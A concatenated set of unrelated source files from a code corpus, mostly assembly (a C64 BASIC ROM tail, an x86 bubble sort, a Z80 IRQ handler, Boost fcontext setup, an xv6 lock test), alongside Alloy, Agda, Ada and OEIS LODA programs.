bcc A_BE97 ; if Cb=0 just use it eor #$FF ; else make the 2's complement .. adc #$0A ; .. and subtract it from 10 A_BE97 ; [BE97] adc #'0'-1 ; add "0"-1 to result iny ; increment .. iny ; .. index to.. iny ; .. next less .. iny ; .. power of ten sty VARPNT ; save current variable pointer LB ldy FBUFPT ; get output string index iny ; increment output string index tax ; copy character to X and #$7F ; mask out top bit sta StrConvAddr,Y ; save to output string dec FacTempStor+6 ; decrement # of characters before dp bne A_BEB2 ; branch if still characters to do ; else output the point lda #'.' ; character "." iny ; increment output string index sta STACK-1,Y ; save to output string A_BEB2 ; [BEB2] sty FBUFPT ; save output string index ldy VARPNT ; get current variable pointer LB txa ; get character back eor #$FF ; toggle the test sense bit and #$80 ; clear the digit tax ; copy it to the new digit cpy #D_BF3A-D_BF16 ; compare the table index with the max ; for decimal numbers beq A_BEC4 ; if at the max exit the digit loop cpy #D_BF52-D_BF16 ; compare the table index with the max ; for time bne A_BE6A ; loop if not at the max ; now remove trailing zeroes A_BEC4 ; [BEC4] ldy FBUFPT ; restore the output string index A_BEC6 ; [BEC6] lda STACK-1,Y ; get character from output string dey ; decrement output string index cmp #'0' ; compare with "0" beq A_BEC6 ; loop until non "0" character found cmp #'.' ; compare with "." beq A_BED3 ; branch if was dp ; restore last character iny ; increment output string index A_BED3 ; [BED3] lda #'+' ; character "+" ldx FacTempStor+7 ; get exponent count beq A_BF07 ; if zero go set null terminator and ; exit ; exponent isn't zero so write exponent bpl A_BEE3 ; branch if exponent count +ve lda #$00 ; clear A sec ; set carry for subtract sbc FacTempStor+7 ; subtract exponent count adjust ; (convert -ve to +ve) tax ; copy exponent count to X lda #'-' ; character "-" A_BEE3 ; [BEE3] sta STACK+1,Y ; save to output string lda #'E' ; character "E" sta STACK,Y ; save exponent sign to output string txa ; get exponent count back ldx #'0'-1 ; one less than "0" character sec ; set carry for subtract A_BEEF ; [BEEF] inx ; increment 10's character sbc #$0A ;.subtract 10 from exponent count bcs A_BEEF ; loop while still >= 0 adc #':' ; add character ":" ($30+$0A, result is ; 10 less that value) sta STACK+3,Y ; save to output string txa ; copy 10's character sta STACK+2,Y ; save to output string lda #$00 ; set null terminator sta STACK+4,Y ; save to output string beq A_BF0C ; go set string pointer (AY) and exit, ; branch always ; save last character, [EOT] and exit J_BF04 ; [BF04] sta STACK-1,Y ; save last character to output string ; set null terminator and exit A_BF07 ; [BF07] lda #$00 ; set null terminator sta STACK,Y ; save after last character ; set string pointer (AY) and exit A_BF0C ; [BF0C] lda #<STACK ; set result string pointer LB ldy #>STACK ; set result string pointer HB rts ;****************************************************************************** ; ; constants L_BF11 ; [BF11] .byte $80,$00 ; 0.5, first two bytes L_BF13 ; [BF13] .byte $00,$00,$00 ; null return for undefined variables D_BF16 ; [BF16] .byte $FA,$0A,$1F,$00 ; -100000000 .byte $00,$98,$96,$80 ; +10000000 .byte $FF,$F0,$BD,$C0 ; -1000000 .byte $00,$01,$86,$A0 ; +100000 .byte $FF,$FF,$D8,$F0 ; -10000 .byte $00,$00,$03,$E8 ; +1000 .byte $FF,$FF,$FF,$9C ; -100 .byte $00,$00,$00,$0A ; +10 .byte $FF,$FF,$FF,$FF ; -1 ; jiffy counts D_BF3A ; [BF3A] .byte $FF,$DF,$0A,$80 ; -2160000 10s hours .byte $00,$03,$4B,$C0 ; +216000 hours .byte $FF,$FF,$73,$60 ; -36000 10s mins .byte $00,$00,$0E,$10 ; +3600 mins .byte $FF,$FF,$FD,$A8 ; -600 10s secs .byte $00,$00,$00,$3C ; +60 secs D_BF52 ; [BF52] ;****************************************************************************** ; ; not referenced .byte $EC ; checksum byte ;****************************************************************************** ; ; spare bytes, not referenced .byte $AA,$AA,$AA,$AA,$AA,$AA,$AA,$AA,$AA,$AA,$AA,$AA,$AA,$AA,$AA .byte $AA,$AA,$AA,$AA,$AA,$AA,$AA,$AA,$AA,$AA,$AA,$AA,$AA,$AA,$AA ;****************************************************************************** ; ; perform SQR() bcSQR ; [BF71] jsr CopyFAC1toFAC2 ; round and copy FAC1 to FAC2 [BC0C] lda #<L_BF11 ; set 0.5 pointer low address ldy #>L_BF11 ; set 0.5 pointer high address jsr UnpackAY2FAC1 ; unpack memory (AY) into FAC1 [BBA2] ;****************************************************************************** ; ; perform power function bcPOWER ; [BF7B] beq bcEXP ; perform EXP() lda ARGEXP ; get FAC2 exponent bne A_BF84 ; branch if FAC2<>0 jmp ClrFAC1Exp ; clear FAC1 exponent and sign and ; return [B8F9] A_BF84 ; [BF84] ldx #<GarbagePtr ; set destination pointer LB ldy #>GarbagePtr ; set destination pointer HB jsr PackFAC1intoXY ; pack FAC1 into (XY) [BBD4] lda ARGSGN ; get FAC2 sign (b7) bpl A_BF9E ; branch if FAC2>0 ; else FAC2 is -ve and can only be raised to an integer power which gives an ; x + j0 result jsr bcINT ; perform INT() [BCCC] lda #<GarbagePtr ; set source pointer LB ldy #>GarbagePtr ; set source pointer HB jsr CmpFAC1withAY ; compare FAC1 with (AY) [BC5B] bne A_BF9E ; branch if FAC1 <> (AY) to allow ; Function Call error this will leave ; FAC1 -ve and cause a Function Call ; error when LOG() is called tya ; clear sign b7 ldy CHARAC ; get FAC1 mantissa 4 from INT() ; function as sign in Y for possible ; later negation, b0 only needed A_BF9E ; [BF9E] jsr CpFAC2toFAC12 ; save FAC1 sign and copy ABS(FAC2) to ; FAC1 [BBFE] tya ; copy sign back .. pha ; .. and save it jsr bcLOG ; perform LOG() [B9EA] lda #<GarbagePtr ; set pointer LB ldy #>GarbagePtr ; set pointer HB jsr FAC1xAY ; do convert AY, FCA1*(AY) [BA28] jsr bcEXP ; perform EXP() [BFED] pla ; pull sign from stack lsr ; b0 is to be tested bcc A_BFBE ; if no bit then exit ; do - FAC1 bcGREATER ; [BFB4] lda FACEXP ; get FAC1 exponent beq A_BFBE ; exit if FAC1_e = $00 lda FACSGN ; get FAC1 sign (b7) eor #$FF ; complement it sta FACSGN ; save FAC1 sign (b7) A_BFBE ; [BFBE] rts ;****************************************************************************** ; ; exp(n) constant and series ConstantEXP ; [BFBF] .byte $81,$38,$AA,$3B,$29 ; 1.443 TblEXPseries ; [BFC4] .byte $07 ; series count .byte $71,$34,$58,$3E,$56 ; 2.14987637E-5 .byte $74,$16,$7E,$B3,$1B ; 1.43523140E-4 .byte $77,$2F,$EE,$E3,$85 ; 1.34226348E-3 .byte $7A,$1D,$84,$1C,$2A ; 9.61401701E-3 .byte $7C,$63,$59,$58,$0A ; 5.55051269E-2 .byte $7E,$75,$FD,$E7,$C6 ; 2.40226385E-1 .byte $80,$31,$72,$18,$10 ; 6.93147186E-1 .byte $81,$00,$00,$00,$00 ; 1.00000000 ;****************************************************************************** ; ; perform EXP() bcEXP ; [BFED] lda #<ConstantEXP ; set 1.443 pointer LB ldy #>ConstantEXP ; set 1.443 pointer HB jsr FAC1xAY ; do convert AY, FCA1*(AY) [BA28] lda FACOV ; get FAC1 rounding byte adc #$50 ; +$50/$100 bcc A_BFFD ; skip rounding if no carry jsr RoundFAC12 ; round FAC1 (no check) [BC23] A_BFFD ; [BFFD] jmp bcEXP2 ; continue EXP() [E000]
tests/nasm/mov_sreg.asm
brenden7158/v86
12,700
165079
<filename>tests/nasm/mov_sreg.asm<gh_stars>1000+ global _start section .data align 16 mydword: dd 0 %include "header.inc" ; 32-bit register move should set higher bits to zero mov eax, -1 mov eax, ss and eax, 0xffff0000 ; 32-bit memory move should preserver higher bits mov dword [mydword], 0xdeadbeef mov [mydword], ss mov ebx, [mydword] and ebx, 0xffff0000 %include "footer.inc"
alloy4fun_models/trashltl/models/0/oCzxkHzXqZAgFQJY6.als
Kaixi26/org.alloytools.alloy
0
2308
open main pred idoCzxkHzXqZAgFQJY6_prop1 { no Trash } pred __repair { idoCzxkHzXqZAgFQJY6_prop1 } check __repair { idoCzxkHzXqZAgFQJY6_prop1 <=> prop1o }
assembly/bubsort.asm
mohsend/Magnificent-University-projects
0
91234
; bubble sort algorithm implemented in assembly ;------------ ; stack segment : STSEG SEGMENT DB 64 DUP (?) STSEG ENDS ;------------ ; data segment : DTSEG SEGMENT ; place program data here array DB 73H, 82H, 10H, 7FH, 0D0H, 20H, 0B3H, 01DH, 94H, 0A2H, 71H, 50H, 11H, 0B0H, 17H, 99H DTSEG ENDS ;------------ ; code segment : CDSEG SEGMENT MAIN PROC FAR ASSUME CS:CDSEG, DS:DTSEG, SS:STSEG MOV AX, DTSEG MOV DS, AX ; main code starts here ; initialize MOV CX, 0FH loop1: MOV BX, OFFSET array loop2: MOV AL, [BX] MOV AH, [BX + 01H] CMP AL, AH JA swapval ; JA label Short Jump if first operand is Above second operand (as set by CMP instruction). Unsigned. ; use JG if you wish to use signed bytes ; JG label Short Jump if first operand is Greater then second operand (as set by CMP instruction). Signed. d. continueloop2: INC BX CMP CX, BX JA loop2 CMP CX, 01H JA loop1 JMP terminate swapval: MOV [BX], AH MOV [BX + 01H], AL JMP continueloop2 ; end (terminate) program terminate: MOV AH, 4CH INT 21H MAIN ENDP CDSEG ENDS END MAIN
test/Bugs/NonRecursiveCoinductiveRecord.agda
cruhland/agda
1,989
12624
<reponame>cruhland/agda<filename>test/Bugs/NonRecursiveCoinductiveRecord.agda -- Andreas, 2014-04-23 test case by <NAME> {-# OPTIONS --sized-types --copatterns #-} -- {-# OPTIONS --show-implicit -v term:60 #-} module _ where open import Common.Size -- Invalid coinductive record, since not recursive. record ▸ (A : Size → Set) (i : Size) : Set where coinductive -- This should be an error, since non-recursive. constructor delay_ field force : ∀ {j : Size< i} → A j open ▸ -- This fixed-point combinator should not pass the termination checker. ∞fix : ∀ {A : Size → Set} → (∀ {i} → ▸ A i → A i) → ∀ {i} → ▸ A i force (∞fix {A} f {i}) {j} = f {j} (∞fix {A} f {j}) -- The following fixed-point combinator is not strongly normalizing! fix : ∀ {A : Size → Set} → (∀ {i} → (∀ {j : Size< i} → A j) → A i) → ∀ {i} {j : Size< i} → A j fix f = force (∞fix (λ {i} x → f {i} (force x))) -- test = fix {!!} -- C-c C-n test gives me a stack overflow
mod_player/irq.asm
mikedailly/mod_player
16
22480
<gh_stars>10-100 ; ; ; This IRQ does VBlank and Raster interrupts. ; org $fd00 VectorTable: dw IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine dw IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine dw IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine dw IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine dw IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine dw IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine dw IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine dw IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine,IM2Routine dw IM2Routine org $fefe IM2Routine: ei DoIRQ1: push af ld a,(FrameCount) inc a ld (FrameCount),a ld a,$ff ld (vblank),a ; set current screen pop af reti FrameCount db 0 vblank db 0 ; stack ;org $ff80 StackEnd ds 127 StackStart db 0
examples/zmq-examples-server.adb
persan/zeromq-Ada
33
26997
<filename>examples/zmq-examples-server.adb<gh_stars>10-100 ------------------------------------------------------------------------------- -- Copyright (C) 2020-2030, <EMAIL> -- -- -- -- Permission is hereby granted, free of charge, to any person obtaining a -- -- copy of this software and associated documentation files -- -- (the "Software"), to deal in the Software without restriction, including -- -- without limitation the rights to use, copy, modify, merge, publish, -- -- distribute, sublicense, and / or sell copies of the Software, and to -- -- permit persons to whom the Software is furnished to do so, subject to -- -- the following conditions : -- -- -- -- The above copyright notice and this permission notice shall be included -- -- in all copies or substantial portions of the Software. -- -- -- -- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS -- -- OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -- -- MERCHANTABILITY, -- -- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -- -- THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR -- -- OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, -- -- ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR -- -- OTHER DEALINGS IN THE SOFTWARE. -- ------------------------------------------------------------------------------- with ZMQ.Sockets; with ZMQ.Contexts; with ZMQ.Messages; with Ada.Text_IO; use Ada.Text_IO; procedure ZMQ.Examples.Server is Ctx : ZMQ.Contexts.Context; S : ZMQ.Sockets.Socket; Resultset_String : constant String := "OK"; begin -- Initialise 0MQ context, requesting a single application thread -- and a single I/O thread Ctx.Set_Number_Of_IO_Threads (1); -- Create a ZMQ_REP socket to receive requests and send replies S.Initialize (Ctx, Sockets.REP); -- Bind to the TCP transport and port 5555 on the 'lo' interface S.Bind ("tcp://lo:5555"); loop declare Query : ZMQ.Messages.Message; begin Query.Initialize (0); -- Receive a message, blocks until one is available S.Recv (Query); -- Process the query Put_Line (Query.GetData); declare -- Allocate a response message and fill in an example response Resultset : ZMQ.Messages.Message; begin Resultset.Initialize (Query.GetData & "->" & Resultset_String); -- Send back our canned response S.Send (Resultset); end; end; end loop; end ZMQ.Examples.Server;
oeis/011/A011548.asm
neoneye/loda-programs
11
168231
<reponame>neoneye/loda-programs ; A011548: Decimal expansion of sqrt(2) rounded to n places. ; Submitted by <NAME> ; 1,14,141,1414,14142,141421,1414214,14142136,141421356,1414213562,14142135624,141421356237,1414213562373,14142135623731,141421356237310,1414213562373095,14142135623730950,141421356237309505,1414213562373095049,14142135623730950488,141421356237309504880,1414213562373095048802,14142135623730950488017,141421356237309504880169,1414213562373095048801689,14142135623730950488016887,141421356237309504880168872,1414213562373095048801688724,14142135623730950488016887242,141421356237309504880168872421 mov $1,1 mov $2,1 mov $3,$0 mul $3,4 add $3,1 lpb $3 add $1,$2 add $2,$1 mul $1,2 sub $3,1 lpe mul $1,2 mov $4,10 pow $4,$0 div $2,$4 div $1,$2 mov $0,$1 add $0,1 div $0,2
alloy/tp7/barber.als
motapinto/feup-mfes
0
3088
/* * Exercise A.3.3 on page 243 of * Software Abstractions, by <NAME> * * Consider the set of all sets that do not contain * themselves as members. Does it contain itself? * * In this exercise, you will modify a small model * about Russell's famous variation on that problem * -- the barber paradox: In a village in which the * barber shaves every man who doesn't shave * himself, who shaves the barber? * * (a) Use the analyzer to show that the model * is indeed inconsistent, at least for villages of small sizes. * * (b) Some feminists have noted that the paradox * disappears if the existence of women is acknowledged. * Make a new version of the model that classifies villagers * into men (who need to be shaved) * and women (who don't), and show that there is now a solution. * * (c) A more drastic solution, noted by <NAME>, * is to allow the possibility of there being no barber. * Modify the original model accordingly, and show that there is now a solution. * * (d) Finally, make a variant of the original model that * allows for multiple barbers. Show that there is again a solution. */ // abstract sig Person {shaves: set Man} // sig Man, Woman extends Person{} b) sig Man {shaves: set Man} // a) one sig Barber extends Man {} // c) one->lone | d) one->some fact { // a | c Barber.shaves = {m: Man | m not in m.shaves} } run { }
src/common/sp-file_system.ads
jquorning/septum
236
16713
------------------------------------------------------------------------------- -- Copyright 2021, The Septum Developers (see AUTHORS file) -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- http://www.apache.org/licenses/LICENSE-2.0 -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ------------------------------------------------------------------------------- with Ada.Directories; with SP.Strings; -- Wraps file system operations to make them simpler, and handle cases without -- using exceptions. package SP.File_System is use SP.Strings; -- Checks that a file at the given path exists. function Is_File (Target : String) return Boolean; -- Checks that a dir at the given path exists. function Is_Dir (Target : String) return Boolean; -- Ada.Directories.Hierarchical_File_Names is optional, and doesn't exist -- on some of the Linux platforms tested for Alire crates. function Is_Current_Or_Parent_Directory (Dir_Entry : Ada.Directories.Directory_Entry_Type) return Boolean; type Dir_Contents is record Files : String_Vectors.Vector; Subdirs : String_Vectors.Vector; end record; -- The immediate, non-recursive, contents of the given directory. function Contents (Dir_Name : String) return Dir_Contents; -- Pulls the contents of a textual file, which might possibly fail due to -- the file not existing or being a directory instead of a file. function Read_Lines (File_Name : in String; Result : out String_Vectors.Vector) return Boolean; -- Finds a path similar to the given one with the same basic stem. function Similar_Path (Path : String) return String; -- Rewrite a path with all forward slashes for simplicity. function Rewrite_Path (Path : String) return String; -- Produces all of the possible options for a path. function File_Completions (Path : String) return String_Vectors.Vector; end SP.File_System;
programs/oeis/340/A340371.asm
karttu/loda
1
25644
; A340371: a(n) = 1 if the odd part of n is noncomposite, 0 otherwise. ; 1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,1,0,1,1,1,0,1,0,1,1,0,1,1,0,1,0,0,1,1,0,1,1,0,1,1,0,1,1,1,0,0,0,1,1,0,0,1,0,1,1,0,1,1,0,1,0,0,1,1,0,0,1,0,1,1,0,1,0,0,1,1,0,1,1,0,0,1,0,1,1,0,0,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,0,1,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,0,0,1,1,0,0,1,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,1,1,0,1,0,0,1,1,0,1,1,0,0,0,0,1,1,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,0,1,1,0,1,0,0,1,1,0,0,1,0,0,1,0,1,0,0,1,0,0,0,1,0,0 cal $0,54844 ; Number of ways to write n as the sum of any number of consecutive integers (including the trivial one-term sum n = n). div $0,3 mov $1,1 bin $1,$0
src/libcopp/fcontext/asm/make_i386_ms_pe_gas.asm
sidyhe/libcopp
427
87923
<filename>src/libcopp/fcontext/asm/make_i386_ms_pe_gas.asm /* Copyright <NAME> 2009. Copyright <NAME> 2013. Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) */ /************************************************************************************* * --------------------------------------------------------------------------------- * * | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | * * --------------------------------------------------------------------------------- * * | 0h | 04h | 08h | 0ch | 010h | 014h | 018h | 01ch | * * --------------------------------------------------------------------------------- * * | fc_mxcsr|fc_x87_cw| fc_strg |fc_deallo| limit | base | fc_seh | EDI | * * --------------------------------------------------------------------------------- * * --------------------------------------------------------------------------------- * * | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | * * --------------------------------------------------------------------------------- * * | 020h | 024h | 028h | 02ch | 030h | 034h | 038h | 03ch | * * --------------------------------------------------------------------------------- * * | ESI | EBX | EBP | EIP | to | data | EH NXT |SEH HNDLR| * * --------------------------------------------------------------------------------- * **************************************************************************************/ .file "make_i386_ms_pe_gas.asm" .text .p2align 4,,15 /* mark as using no unregistered SEH handlers */ .globl @feat.00 .def @feat.00; .scl 3; .type 0; .endef .set @feat.00, 1 .globl _copp_make_fcontext .def _copp_make_fcontext; .scl 2; .type 32; .endef _copp_make_fcontext: /* first arg of copp_make_fcontext() == top of context-stack */ movl 0x04(%esp), %eax /* reserve space for first argument of context-function */ /* EAX might already point to a 16byte border */ leal -0x8(%eax), %eax /* shift address in EAX to lower 16 byte boundary */ andl $-16, %eax /* reserve space for context-data on context-stack */ /* size for fc_mxcsr .. EIP + return-address for context-function */ /* on context-function entry: (ESP -0x4) % 8 == 0 */ /* additional space is required for SEH */ leal -0x40(%eax), %eax /* save MMX control- and status-word */ stmxcsr (%eax) /* save x87 control-word */ fnstcw 0x4(%eax) /* first arg of copp_make_fcontext() == top of context-stack */ movl 0x4(%esp), %ecx /* save top address of context stack as 'base' */ movl %ecx, 0x14(%eax) /* second arg of copp_make_fcontext() == size of context-stack */ movl 0x8(%esp), %edx /* negate stack size for LEA instruction (== substraction) */ negl %edx /* compute bottom address of context stack (limit) */ leal (%ecx,%edx), %ecx /* save bottom address of context-stack as 'limit' */ movl %ecx, 0x10(%eax) /* save bottom address of context-stack as 'dealloction stack' */ movl %ecx, 0xc(%eax) /* set fiber-storage to zero */ xorl %ecx, %ecx movl %ecx, 0x8(%eax) /* third arg of copp_make_fcontext() == address of context-function */ /* stored in EBX */ movl 0xc(%esp), %ecx movl %ecx, 0x24(%eax) /* compute abs address of label trampoline */ movl $trampoline, %ecx /* save address of trampoline as return-address for context-function */ /* will be entered after calling copp_jump_fcontext() first time */ movl %ecx, 0x2c(%eax) /* compute abs address of label finish */ movl $finish, %ecx /* save address of finish as return-address for context-function */ /* will be entered after context-function returns */ movl %ecx, 0x28(%eax) /* traverse current seh chain to get the last exception handler installed by Windows */ /* note that on Windows Server 2008 and 2008 R2, SEHOP is activated by default */ /* the exception handler chain is tested for the presence of ntdll.dll!FinalExceptionHandler */ /* at its end by RaiseException all seh andlers are disregarded if not present and the */ /* program is aborted */ /* load NT_TIB into ECX */ movl %fs:(0x0), %ecx walk: /* load 'next' member of current SEH into EDX */ movl (%ecx), %edx /* test if 'next' of current SEH is last (== 0xffffffff) */ incl %edx jz found decl %edx /* exchange content; ECX contains address of next SEH */ xchgl %ecx, %edx /* inspect next SEH */ jmp walk found: /* load 'handler' member of SEH == address of last SEH handler installed by Windows */ movl 0x04(%ecx), %ecx /* save address in ECX as SEH handler for context */ movl %ecx, 0x3c(%eax) /* set ECX to -1 */ movl $0xffffffff, %ecx /* save ECX as next SEH item */ movl %ecx, 0x38(%eax) /* load address of next SEH item */ leal 0x38(%eax), %ecx /* save next SEH */ movl %ecx, 0x18(%eax) /* return pointer to context-data */ ret trampoline: /* move transport_t for entering context-function */ /* FCTX == EAX, DATA == EDX */ movl %eax, (%esp) movl %edx, 0x4(%esp) /* label finish as return-address */ pushl %ebp /* jump to context-function */ jmp *%ebx finish: /* ESP points to same address as ESP on entry of context function + 0x4 */ xorl %eax, %eax /* exit code is zero */ movl %eax, (%esp) /* exit application */ call __exit hlt .def __exit; .scl 2; .type 32; .endef /* standard C library function */ .section .drectve .ascii " -export:\"copp_make_fcontext\""
data/moves/sleep_talk_exception_moves.asm
AtmaBuster/pokeplat-gen2
6
25430
<reponame>AtmaBuster/pokeplat-gen2 SleepTalkExceptionMoves: dw ASSIST dw BIDE dw BOUNCE dw COPYCAT dw DIG dw DIVE dw FLY dw FOCUS_PUNCH dw ME_FIRST dw METRONOME dw MIRROR_MOVE dw MIMIC dw RAZOR_WIND dw SHADOW_FORCE dw SKULL_BASH dw SKY_ATTACK dw SOLARBEAM dw UPROAR dw -1
libsrc/graphics/pc88/pointxy.asm
jpoikela/z88dk
38
162563
; NEC PC8001 graphics library, by @Stosstruppe ; Adapted to z88dk by <NAME>, 2018 ; ; ; Get pixel at (x,y) coordinate. ; ; ; $Id:$ ; INCLUDE "graphics/grafix.inc" SECTION code_clib PUBLIC pointxy EXTERN __gfx_coords EXTERN pcalc .pointxy ld a,h cp maxx ret nc ld a,l cp maxy ret nc ; y0 out of range ld (__gfx_coords),hl call pcalc and (hl) ret
oeis/217/A217401.asm
neoneye/loda-programs
11
25198
; A217401: Numbers starting with 8. ; Submitted by <NAME>(s2) ; 8,80,81,82,83,84,85,86,87,88,89,800,801,802,803,804,805,806,807,808,809,810,811,812,813,814,815,816,817,818,819,820,821,822,823,824,825,826,827,828,829,830,831,832,833,834,835,836,837,838,839,840,841,842,843,844,845,846,847,848,849,850,851,852,853,854,855,856,857,858,859,860,861,862,863,864,865,866,867,868,869,870,871,872,873,874,875,876,877,878,879,880,881,882,883,884,885,886,887,888 mov $1,1 mov $3,$0 lpb $0 sub $0,1 div $0,10 mov $2,$1 sub $2,1 mov $1,$2 mul $1,10 add $1,72 lpe seq $0,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters). add $1,$0 add $1,6 add $1,$3 mov $0,$1
src/MmParser.g4
anterokangas/mmjs
0
5732
parser grammar Mm options { tokenVocab = MmLexer; } model : part * ; part : string | command ; command : CommandStart ( roleCommand ) ; roleCommand : Role RoleName roleParameters RoleCommandEnd; roleParameters : roleParameter* ; roleParameter : RoleParameterStart ( RolePitch Integer IntegerEnd ) ;
programs/oeis/146/A146761.asm
neoneye/loda
22
174797
<filename>programs/oeis/146/A146761.asm<gh_stars>10-100 ; A146761: Period 6: repeat [0, 0, 6, 6, 3, 3]. ; 0,0,6,6,3,3,0,0,6,6,3,3,0,0,6,6,3,3,0,0,6,6,3,3,0,0,6,6,3,3,0,0,6,6,3,3,0,0,6,6,3,3,0,0,6,6,3,3,0,0,6,6,3,3,0,0,6,6,3,3,0,0,6,6,3,3,0,0,6,6,3,3,0,0,6,6,3,3,0,0,6,6,3,3,0,0,6,6,3,3,0,0,6,6,3,3,0,0,6,6 div $0,2 mul $0,6 mod $0,9
test_15.asm
Anson-Doan/-CS537-Spring2021-P3b-xv6KernelThreads
0
15523
_test_15: file format elf32-i386 Disassembly of section .text: 00000000 <worker>: printf(1, "TEST PASSED\n"); exit(); } void worker(void *arg1, void *arg2) { 0: f3 0f 1e fb endbr32 4: 55 push %ebp 5: 89 e5 mov %esp,%ebp 7: 53 push %ebx 8: 83 ec 04 sub $0x4,%esp int i, j, tmp; for (i = 0; i < loops; i++) { b: bb 00 00 00 00 mov $0x0,%ebx 10: eb 1b jmp 2d <worker+0x2d> lock_acquire(&lock); tmp = global; for(j = 0; j < 50; j++); // take some time global = tmp + 1; 12: 8d 42 01 lea 0x1(%edx),%eax 15: a3 00 0d 00 00 mov %eax,0xd00 lock_release(&lock); 1a: 83 ec 0c sub $0xc,%esp 1d: 68 10 0d 00 00 push $0xd10 22: e8 9b 04 00 00 call 4c2 <lock_release> for (i = 0; i < loops; i++) { 27: 83 c3 01 add $0x1,%ebx 2a: 83 c4 10 add $0x10,%esp 2d: 39 1d e8 0c 00 00 cmp %ebx,0xce8 33: 7e 25 jle 5a <worker+0x5a> lock_acquire(&lock); 35: 83 ec 0c sub $0xc,%esp 38: 68 10 0d 00 00 push $0xd10 3d: e8 5d 04 00 00 call 49f <lock_acquire> tmp = global; 42: 8b 15 00 0d 00 00 mov 0xd00,%edx for(j = 0; j < 50; j++); // take some time 48: 83 c4 10 add $0x10,%esp 4b: b8 00 00 00 00 mov $0x0,%eax 50: 83 f8 31 cmp $0x31,%eax 53: 7f bd jg 12 <worker+0x12> 55: 83 c0 01 add $0x1,%eax 58: eb f6 jmp 50 <worker+0x50> } exit(); 5a: e8 88 04 00 00 call 4e7 <exit> 0000005f <main>: { 5f: f3 0f 1e fb endbr32 63: 8d 4c 24 04 lea 0x4(%esp),%ecx 67: 83 e4 f0 and $0xfffffff0,%esp 6a: ff 71 fc pushl -0x4(%ecx) 6d: 55 push %ebp 6e: 89 e5 mov %esp,%ebp 70: 53 push %ebx 71: 51 push %ecx ppid = getpid(); 72: e8 f8 04 00 00 call 56f <getpid> 77: a3 18 0d 00 00 mov %eax,0xd18 lock_init(&lock); 7c: 83 ec 0c sub $0xc,%esp 7f: 68 10 0d 00 00 push $0xd10 84: e8 fd 03 00 00 call 486 <lock_init> for (i = 0; i < num_threads; i++) { 89: 83 c4 10 add $0x10,%esp 8c: bb 00 00 00 00 mov $0x0,%ebx 91: 39 1d ec 0c 00 00 cmp %ebx,0xcec 97: 7e 66 jle ff <main+0xa0> int thread_pid = thread_create(worker, 0, 0); 99: 83 ec 04 sub $0x4,%esp 9c: 6a 00 push $0x0 9e: 6a 00 push $0x0 a0: 68 00 00 00 00 push $0x0 a5: e8 db 02 00 00 call 385 <thread_create> assert(thread_pid > 0); aa: 83 c4 10 add $0x10,%esp ad: 85 c0 test %eax,%eax af: 7e 05 jle b6 <main+0x57> for (i = 0; i < num_threads; i++) { b1: 83 c3 01 add $0x1,%ebx b4: eb db jmp 91 <main+0x32> assert(thread_pid > 0); b6: 6a 25 push $0x25 b8: 68 f0 08 00 00 push $0x8f0 bd: 68 fa 08 00 00 push $0x8fa c2: 6a 01 push $0x1 c4: e8 67 05 00 00 call 630 <printf> c9: 83 c4 0c add $0xc,%esp cc: 68 02 09 00 00 push $0x902 d1: 68 11 09 00 00 push $0x911 d6: 6a 01 push $0x1 d8: e8 53 05 00 00 call 630 <printf> dd: 83 c4 08 add $0x8,%esp e0: 68 25 09 00 00 push $0x925 e5: 6a 01 push $0x1 e7: 